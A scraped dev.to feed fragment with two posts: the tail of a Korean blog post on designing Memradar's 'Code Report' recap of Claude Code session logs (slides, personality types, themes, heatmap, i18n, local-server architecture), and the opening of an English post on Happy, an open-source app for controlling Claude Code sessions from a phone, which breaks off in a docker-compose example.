&lt;p&gt;슬라이드는 여덟 장이다. 인트로에 첫 세션 날짜, 다음은 총 프롬프트 수, 자주 쓴 모델, 코딩 시간대, 자주 부른 툴 순위, 성격 유형, 사용량, 마지막에 공유 카드.&lt;/p&gt;

&lt;p&gt;각 슬라이드엔 숫자 하나 또는 메시지 하나만 올라간다. "내가 Claude를 3,200번 불렀다"는 걸 대시보드 구석에서 숫자로 보는 것과, 빈 슬라이드에 3,200까지 카운트업으로 올라오는 걸 보는 건 완전히 다르다. 같은 데이터인데.&lt;/p&gt;

&lt;p&gt;이게 첫 번째 집착이었다. &lt;strong&gt;숫자를 어떻게 "느끼게" 만들까.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  성격 유형을 4개에서 8개로 갈아엎은 이유
&lt;/h2&gt;

&lt;p&gt;Code Report의 하이라이트는 성격 유형 슬라이드다. Architect, Speed Runner, Explorer, Night Sage. 네 개로 시작했다.&lt;/p&gt;

&lt;p&gt;근데 이틀 돌려보니 전부 &lt;strong&gt;"어 나 저거 아닌데"&lt;/strong&gt; 소리가 나왔다. MBTI가 재밌는 건 네 축이 각각 독립적으로 계산되기 때문이다. "I이면서 N이면서 F이면서 P"라서 INFP가 나온다. 축이 하나(4타입 중 하나)면 거칠 수밖에 없다.&lt;/p&gt;

&lt;p&gt;그래서 3축 시스템으로 다시 짰다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;style × scope × rhythm
 ↓       ↓        ↓
꼼꼼함   깊이     속도
  8 조합
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이렇게 조합하면 "심해 잠수부", "번개 해결사", "카오스 크리에이터" 같은 이름이 나온다. 각 축이 따로 계산되니까 결과가 더 개인적으로 느껴진다.&lt;/p&gt;

&lt;p&gt;이거 짜는 데 반나절 날렸다. 4타입이 틀린 게 아니라, &lt;strong&gt;결과를 읽는 순간의 느낌이 약했다.&lt;/strong&gt; 이게 Code Report에서 제일 중요한 지점이다. 숫자가 맞고 틀리고 전에, 읽는 사람이 "오 이거 나네" 하고 웃어야 한다.&lt;/p&gt;

&lt;p&gt;성격 계산 로직도 실제 데이터로 계속 튜닝했다. 내 로그에 돌려봤을 때 나한테 맞는 결과가 나오는지, 친구 로그에 돌렸을 때 친구한테 맞는 결과가 나오는지. 임계값 하나를 바꾸면 결과가 흔들린다. 이걸 수십 번 맞췄다.&lt;/p&gt;

&lt;h2&gt;
  
  
  마지막 슬라이드에 2.5초를 박은 이야기
&lt;/h2&gt;

&lt;p&gt;커밋 제목: &lt;code&gt;Fix last slide dashboard prompt timing&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;무슨 문제였냐면, 공유 카드 슬라이드에서 화면을 탭하면 "대시보드로 넘어가시겠습니까?" 모달이 뜨게 해뒀다. 근데 Code Report를 쭉 넘기던 손가락 리듬으로 마지막 슬라이드에서도 무심코 탭해서, 공유 카드를 보기도 전에 모달이 떠버린다.&lt;/p&gt;

&lt;p&gt;대부분은 "괜찮지 뭐" 하고 넘어갈 디테일이다. 근데 한 번 걸리니까 계속 신경 쓰였다. 그래서 고쳤다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setDashboardPromptReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;slideIndex&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;lastSlideIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;timer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;setDashboardPromptReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;2500&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clearTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;lastSlideIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;slideIndex&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;마지막 슬라이드에 들어가면 2.5초 동안 &lt;code&gt;dashboardPromptReady&lt;/code&gt;가 false다. 그동안 탭해도 모달은 안 뜬다. 심지어 커서도 &lt;code&gt;default&lt;/code&gt;로 바꿨다. "아직 누를 수 없다"는 걸 마우스 커서로도 알려준다.&lt;/p&gt;

&lt;p&gt;이거 쓰면서 스스로도 생각했다. 이게 필요한 최적화일까. 사용자는 눈치 못 챌 것 같은데.&lt;/p&gt;

&lt;p&gt;근데 &lt;strong&gt;필요한 건 맞다.&lt;/strong&gt; 게임에서 컷씬이 끝난 직후 입력을 몇 프레임 막는 거랑 똑같다. 플레이어가 "스킵 버튼 누르는 리듬"으로 다음 장면에서 뭔가를 잘못 누르는 걸 막는다. 이런 건 걸리면 기분이 나쁘고, 막아두면 아무도 모른다. 근데 모르는 게 맞다.&lt;/p&gt;

&lt;h2&gt;
  
  
  테마가 20개인 이유
&lt;/h2&gt;

&lt;p&gt;Memradar에는 테마가 20개 있다. 배경 4종(Dark, AMOLED, Light, Warm), 액센트 색 5종(Indigo, Violet, Teal, Rose, Amber). 4 × 5 = 20.&lt;/p&gt;

&lt;p&gt;왜 이렇게 많냐. 이것도 "느낌"의 문제다.&lt;/p&gt;

&lt;p&gt;Code Report를 넘기는 경험은 &lt;strong&gt;사적이다.&lt;/strong&gt; 내 코딩 로그를 내가 보는 거다. 남이 만든 다크 테마를 그냥 쓰는 게 아니라, 내 분위기를 내가 고르고 싶다. Cursor 연말결산이 보라색 하나로 고정되어 있는 것과 다르게, 내가 만드는 건 내가 고를 수 있어야 한다.&lt;/p&gt;

&lt;p&gt;배경 네 개로 나눈 것도 계산된 거다. Dark는 기본, AMOLED는 OLED 화면용 진짜 검정, Light는 밝은 카페용, Warm은 저녁 무드. 상황이 다르면 고르는 게 다르다.&lt;/p&gt;

&lt;p&gt;폰트도 Noto Sans KR + Noto Serif KR로 고정했다. 한글이 엄청 많이 들어가기 때문에, 한글이 예쁘게 나오는 게 첫째다. 영어 폰트 안 썼다. 내가 주로 한국어로 코딩해서 프롬프트도 한국어 비중이 높고, 그걸 읽는 Code Report도 한국어가 예뻐야 한다.&lt;/p&gt;

&lt;p&gt;localStorage에 저장해서 다음번에도 고른 테마가 유지된다. 이건 당연한데, 당연한 걸 빼먹으면 바로 티난다.&lt;/p&gt;

&lt;h2&gt;
  
  
  히트맵 한 개에 들어간 결정들
&lt;/h2&gt;

&lt;p&gt;GitHub 스타일 일별 활동 히트맵. 이 위젯 하나에 들어간 결정이 이 정도다.&lt;/p&gt;

&lt;p&gt;첫째, &lt;strong&gt;반응형 셀 크기.&lt;/strong&gt; 창 너비에 따라 셀이 자동으로 커지고 작아진다. &lt;code&gt;ResizeObserver&lt;/code&gt;로 컨테이너 크기를 추적하다가, 셀 크기를 다시 계산해서 리렌더한다. 처음엔 고정 크기로 뒀는데, 화면 작은 노트북에서 히트맵이 잘려서 다시 짰다.&lt;/p&gt;

&lt;p&gt;둘째, &lt;strong&gt;클릭해서 날짜 선택.&lt;/strong&gt; 셀을 클릭하면 그날 세션 요약이 사이드에 뜬다. 처음엔 hover만 있었는데, hover는 모바일에서 안 되고, 클릭해서 "고정"할 방법이 있으면 더 자세히 볼 수 있다.&lt;/p&gt;

&lt;p&gt;셋째, &lt;strong&gt;streak 카운터.&lt;/strong&gt; "연속 며칠 코딩했는지." 이걸 어디에 넣을까 고민하다가 히트맵 옆 사이드바에 박았다. Duolingo처럼 게임화하려는 게 아니라, 히트맵 보면서 자연스럽게 "아 나 이번 달 15일 연속이네" 하고 알게 되는 정도.&lt;/p&gt;

&lt;p&gt;넷째, &lt;strong&gt;요일 패턴.&lt;/strong&gt; 월화수목금토일 중 어느 요일에 가장 많이 코딩했는지 사이드에 작게. 이건 넣을까 말까 고민했는데, 내가 주말에 생각보다 많이 코딩한다는 걸 이걸 보고 알았다. 이런 게 Code Report의 맛이다. 몰랐던 내 패턴이 보이는 거.&lt;/p&gt;

&lt;p&gt;위젯 하나에 결정이 네 개. 히트맵뿐 아니라 워드클라우드, 시간대별 차트, 토큰 차트 다 이렇게 만들어졌다.&lt;/p&gt;

&lt;h2&gt;
  
  
  DropZone wording을 몇 번 바꿨는지
&lt;/h2&gt;

&lt;p&gt;가장 집요했던 건 랜딩 페이지 DropZone이다. 커밋 로그에 DropZone wording 수정만 네 번 있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Replace copy-paste wording with Ctrl+C/V shortcut
- Use Ctrl+C/V/Enter wording consistently in DropZone
- Allow .claude/.codex root folder drop and add install guide link
- Fix DropZone wording: shorten Ctrl+C/V label
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;하나씩 뜯어보면 이렇다. 처음엔 "복사해서 붙여넣기"였다. 그러다가 Ctrl+C / Ctrl+V로 바꿨다. 왜냐면 한국어로 "복사해서 붙여넣기"는 길고, 영어로 "copy and paste"도 장황하다. 숏컷 두 개 나란히 보여주면 0.5초 만에 "아 저거"가 꽂힌다.&lt;/p&gt;

&lt;p&gt;두 번째 변경은 "일관성"이었다. 어떤 곳엔 "Ctrl+C/V" 있는데 다른 곳엔 "복사/붙여넣기"가 남아있었다. 용어가 섞이면 불편하다.&lt;/p&gt;

&lt;p&gt;세 번째, &lt;code&gt;.claude&lt;/code&gt; 폴더 자체 드롭 허용. 원래는 &lt;code&gt;.claude/projects/&lt;/code&gt; 안쪽을 드롭해야 파싱됐다. 근데 사용자 입장에선 &lt;code&gt;.claude&lt;/code&gt;를 홈에서 드래그하는 게 자연스럽다. 그래서 드롭 핸들러가 &lt;code&gt;.claude&lt;/code&gt; 안의 &lt;code&gt;projects&lt;/code&gt; 자식을 자동으로 찾아 들어가도록 고쳤다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;droppedFolder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.claude&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectsDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;findChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;droppedFolder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;projects&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projectsDir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;scanDir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projectsDir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;네 번째는 다시 wording. "Ctrl+C/V" 레이블이 너무 길어서 앞에 붙어있던 중복 prefix를 뺐다.&lt;/p&gt;

&lt;p&gt;같은 컴포넌트에서 표현 하나 가지고 네 번 고쳤다. 과하다 싶지만, DropZone은 사용자가 제일 먼저 보는 화면이다. 여기서 &lt;strong&gt;5초 안에 뭘 해야 하는지&lt;/strong&gt;가 안 꽂히면, 나머지가 아무리 예뻐도 소용없다.&lt;/p&gt;

&lt;h2&gt;
  
  
  한영 동시 지원이 생각보다 큰 결정이었다
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;i18n (ko/en), theme presets, and hash routing&lt;/code&gt;. 한 커밋에 세 가지가 같이 들어갔다.&lt;/p&gt;

&lt;p&gt;한영 동시 지원을 넣은 건 블로그를 한영 동시 발행하는 나 자신을 위해서다. 근데 더 큰 이유가 있다. &lt;strong&gt;Code Report에 들어가는 문구는 감정적이다.&lt;/strong&gt; "너는 Night Owl이야", "이번 달에만 3,200번 대화했어" 같은 문장들. 이게 영어로만 있으면, 한국어 유저는 "재미"가 반감된다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/i18n.tsx&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;translations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;ko&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.nightSage&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;새벽의 현자&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.speedRunner&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;번개 해결사&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;en&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.nightSage&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Night Sage&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.speedRunner&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Lightning Fixer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Night Sage를 "밤의 현자"가 아니라 "새벽의 현자"로 번역한 것도, "Lightning Fixer"를 "번개 해결사"로 맞춘 것도, 그냥 직역이 아니라 &lt;strong&gt;한국어로 읽었을 때 같은 온도&lt;/strong&gt;가 되도록 골랐다. 성격 유형 여덟 개 이름을 한영 각각 다시 쓰는 데 몇 시간 걸렸다.&lt;/p&gt;

&lt;p&gt;해시 라우팅을 같이 넣은 이유는, Code Report 링크를 공유할 수 있게 만들려면 URL에 상태가 담겨야 하기 때문이다. &lt;code&gt;#wrapped/5&lt;/code&gt; 같은 식으로 슬라이드 번호가 URL에 들어간다. 새로고침해도 돌아올 수 있다.&lt;/p&gt;

&lt;h2&gt;
  
  
  단일 HTML을 버린 순간
&lt;/h2&gt;

&lt;p&gt;기술적인 결정 중에 제일 컸던 건 CLI 구조를 단일 HTML에서 로컬 서버로 바꾼 거다.&lt;/p&gt;

&lt;p&gt;원래는 CLI가 JSONL을 다 파싱해서, JSON으로 직렬화하고, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 태그에 박아서 거대한 단일 HTML 파일을 만들었다. 오프라인에서도 돌고 서버도 필요 없고, 깔끔했다.&lt;/p&gt;

&lt;p&gt;근데 내 &lt;code&gt;.claude/projects/&lt;/code&gt;가 커지면서 그 HTML이 18MB를 넘겼다. 브라우저가 JSON.parse 하는 동안 4~5초 멈춘다. Code Report 시작하기도 전에 끊긴다.&lt;/p&gt;

&lt;p&gt;그래서 로컬 서버(http.createServer로 3939 포트) + &lt;code&gt;/api/sessions&lt;/code&gt; 스트리밍으로 뒤집었다. 브라우저는 0.6MB짜리 앱 번들만 먼저 받고, 세션은 10개씩 서버에서 당겨온다. 세션 본문은 클릭했을 때만.&lt;/p&gt;

&lt;p&gt;이건 UE5에서 맵 전체 로딩 vs 레벨 스트리밍이랑 똑같다. 예전엔 월드 전체를 RAM에 올렸다. 지금 오픈월드는 플레이어 주변만 스트리밍으로 로드한다. 디스크엔 다 있는데, 메모리엔 필요한 만큼만. 정확히 그 이동이다.&lt;/p&gt;

&lt;p&gt;단일 HTML 모드는 &lt;code&gt;--static&lt;/code&gt; 플래그로 살려뒀다. 세션이 몇 개 없을 땐 여전히 단일 HTML이 제일 간단하다. 상황에 따라 고를 수 있게.&lt;/p&gt;

&lt;h2&gt;
  
  
  Memradar라는 이름, 그리고 한 줄
&lt;/h2&gt;

&lt;p&gt;처음 이름은 Promptale이었다. 프롬프트 + 이야기. 감성적이긴 한데 뭐 하는 툴인지 안 읽힌다.&lt;/p&gt;

&lt;p&gt;Memradar로 바꾸고 나니 의미가 명확해졌다. Mem(memory) + Radar. 내 기억(로그)을 레이더로 훑는다. 내 블로그(radarlog.kr)와도 엮여서 브랜드가 이어진다. 그리고 그 안에 Code Report라는 화면이 들어있다. 제품명과 기능명이 각자 자기 역할을 한다.&lt;/p&gt;

&lt;p&gt;로컬에서 돌려보고 싶으면 한 줄이면 된다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;npx memradar
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;자동으로 &lt;code&gt;~/.claude/projects/&lt;/code&gt;랑 &lt;code&gt;~/.codex/sessions/&lt;/code&gt;를 스캔하고, 브라우저에서 대시보드를 띄워준다. 거기서 Code Report를 열면 풀스크린 회고가 시작된다. 데이터는 전부 로컬에서만 처리된다. 서버에 뭐 안 보낸다.&lt;/p&gt;

&lt;p&gt;웹 버전도 있다. &lt;a href="https://memradar.vercel.app" rel="noopener noreferrer"&gt;memradar.vercel.app&lt;/a&gt;에서 &lt;code&gt;.claude&lt;/code&gt; 폴더를 직접 드래그해도 된다.&lt;/p&gt;

&lt;p&gt;내 로그를 이걸로 처음 봤을 때 들었던 생각은, &lt;strong&gt;Claude한테 생각보다 훨씬 많이 말했다&lt;/strong&gt;는 거였다. 그리고 새벽에 훨씬 집중했다는 것도. 숫자로 보고 나서야 "아 내가 이렇게 살고 있구나"가 와닿았다.&lt;/p&gt;

&lt;p&gt;이게 Code Report의 목적이다. 내가 남긴 대화를, 내가 회고할 수 있게.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"내 로그는 내 디스크에 있었다. 내가 안 봤을 뿐이다."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
      <category>ux</category>
    </item>
    <item>
      <title>Happy — The Open-Source App That Puts Claude Code in Your Pocket</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Wed, 15 Apr 2026 11:02:45 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/happy-the-open-source-app-that-puts-claude-code-in-your-pocket-7i2</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/happy-the-open-source-app-that-puts-claude-code-in-your-pocket-7i2</guid>
      <description>&lt;p&gt;Code on &lt;a href="https://github.com/slopus/happy" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. Live app at &lt;a href="https://happy.engineering" rel="noopener noreferrer"&gt;happy.engineering&lt;/a&gt;.&lt;br&gt;
More posts at &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;.&lt;/p&gt;



&lt;p&gt;I kicked off a refactoring job with Claude Code and went to grab lunch. Came back 20 minutes later. The terminal was sitting on a permission prompt. It had been doing nothing the entire time, just waiting for me to hit "yes."&lt;/p&gt;

&lt;p&gt;If you use Claude Code, you've been there.&lt;/p&gt;

&lt;p&gt;Happy solves this head-on. It's an open-source CLI wrapper that lets you control Claude Code from your phone. Over 17,000 GitHub stars, MIT licensed. But the first question everyone asks is the same one I had.&lt;/p&gt;

&lt;p&gt;"Isn't this just Claude Cowork Dispatch?"&lt;/p&gt;

&lt;p&gt;Short answer: completely different tools.&lt;/p&gt;
&lt;h2&gt;
  
  
  Dispatch vs Dispatch vs Happy
&lt;/h2&gt;

&lt;p&gt;The word "Dispatch" shows up in at least three different contexts, and it's confusing. Let me untangle it.&lt;/p&gt;

&lt;p&gt;First, there's &lt;strong&gt;Claude Cowork Dispatch&lt;/strong&gt; — Anthropic's official feature announced in March 2026. You scan a QR code on your desktop, and your phone becomes a remote control for an AI agent. It connects with 38+ apps and is built for non-coding tasks: documents, emails, productivity tools. If you don't write code, this is your tool.&lt;/p&gt;

&lt;p&gt;Then there's &lt;strong&gt;bassimeledath/dispatch&lt;/strong&gt; — an open-source Claude Code skill. Type &lt;code&gt;/dispatch&lt;/code&gt; and your main session becomes an orchestrator. Actual work fans out to background workers, each with a fresh context window. It's about making context windows 10x more efficient. Nothing to do with mobile.&lt;/p&gt;

&lt;p&gt;And then there's &lt;strong&gt;Happy&lt;/strong&gt;. It wraps Claude Code's CLI and lets you remote-control the terminal session itself from a mobile app or web browser.&lt;/p&gt;

&lt;p&gt;Think of it this way. Cowork Dispatch is hiring an assistant. bassimeledath/dispatch is a team lead distributing tasks. Happy is putting your terminal in your pocket.&lt;/p&gt;

&lt;p&gt;Zero overlap.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Happy Actually Does
&lt;/h2&gt;

&lt;p&gt;Installation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; happy-coder
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. Now type &lt;code&gt;happy&lt;/code&gt; instead of &lt;code&gt;claude&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before&lt;/span&gt;
claude

&lt;span class="c"&gt;# After&lt;/span&gt;
happy

&lt;span class="c"&gt;# Works with Codex too&lt;/span&gt;
happy codex
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Happy wraps the Claude Code process. Claude Code still runs locally — nothing changes there. But Happy encrypts the session's I/O and relays it through a server to your phone.&lt;/p&gt;

&lt;p&gt;The architecture is three pieces. A CLI program on your machine starts and monitors Claude Code. A relay server passes encrypted blobs between devices. A mobile app decrypts and displays everything. The server only moves encrypted data around — it literally cannot read your code.&lt;/p&gt;

&lt;p&gt;The encryption is solid. X25519 keypairs, ECDH key exchange, AES-256-GCM message encryption, ephemeral session keys for forward secrecy. If you're working with company code, this matters. Your code never exists in plaintext on anyone else's infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Voice Coding — Skeptical Until I Wasn't
&lt;/h2&gt;

&lt;p&gt;"Code with your voice" sounds like a gimmick. I thought so too. Dictating &lt;code&gt;for (int i = 0; i &amp;lt; n; i++)&lt;/code&gt; into a microphone is obviously terrible.&lt;/p&gt;

&lt;p&gt;But that's not what Happy's voice agent does.&lt;/p&gt;

&lt;p&gt;It does exactly one thing: translates your rambling into structured requests that Claude Code can understand. You're not dictating code. You're saying things like "refactor the auth module to separate concerns" while walking your dog.&lt;/p&gt;

&lt;p&gt;The docs make a good point. Sitting at your desk at 100% efficiency for zero hours beats walking around at 50% efficiency for three hours — wait, no. It's the other way around. 50% of three otherwise-wasted hours is infinitely more than 0% of them.&lt;/p&gt;

&lt;p&gt;The voice agent prompts are customizable inside the app. No forking, no rebuilding. You can tune how it interprets your speech directly. That's practical.&lt;/p&gt;

&lt;p&gt;For someone like me who runs UE5 builds that take ages, this means I can voice-control a Claude Code agent on a side project while waiting for shaders to compile. Build wait time just disappears.&lt;/p&gt;

&lt;h2&gt;
  
  
  Parallel Sessions and Why They Matter
&lt;/h2&gt;

&lt;p&gt;Happy can run multiple Claude Code instances simultaneously. Frontend refactoring in one session, API test generation in another, infra work in a third. Switch between them on your phone.&lt;/p&gt;

&lt;p&gt;Why this matters: Claude Code Max gives you unlimited tokens, but context contamination is real. Running five different tasks in one session means by task three, Claude is losing track of task one. Separate sessions keep each task in a clean context.&lt;/p&gt;

&lt;p&gt;The bassimeledath/dispatch skill focuses on using context windows efficiently within a single session. Happy's multi-session approach physically isolates sessions so they don't interfere. Different strategy, complementary goals.&lt;/p&gt;

&lt;p&gt;In practice, it looks like this. Session A runs a component refactoring. Session B generates missing tests. Both show up on your phone. A permission request comes in on Session A — you approve it while sipping coffee. Session B finishes — you review the output. Neither session knows the other exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Happy Won Over the Alternatives
&lt;/h2&gt;

&lt;p&gt;Happy wasn't the first attempt at mobile Claude Code. CodeRemote, YoloCode, Omnara, Claudia, Conductor, Tonkotsu — they all tried. One user on X posted they'd tried every single one and Happy beat them all.&lt;/p&gt;

&lt;p&gt;Three reasons, I think.&lt;/p&gt;

&lt;p&gt;Open source means transparency. You can audit every line. No telemetry, no tracking. When you're piping company code through a tool, this is decisive. A closed-source app asking for terminal access to your codebase is a non-starter for most teams.&lt;/p&gt;

&lt;p&gt;Self-hosting is straightforward. One Docker Compose file gives you PostgreSQL + Redis + Happy Server in about three minutes. Run it behind your company firewall and the relay server never touches the public internet.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;happy-server&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;happy-server:latest&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3000:3000"&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;DATABASE_URL=postgresql://postgres:postgres@postgres:5432/happy-server&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;REDIS_URL=redis://redis:6379&lt;/span&gt;
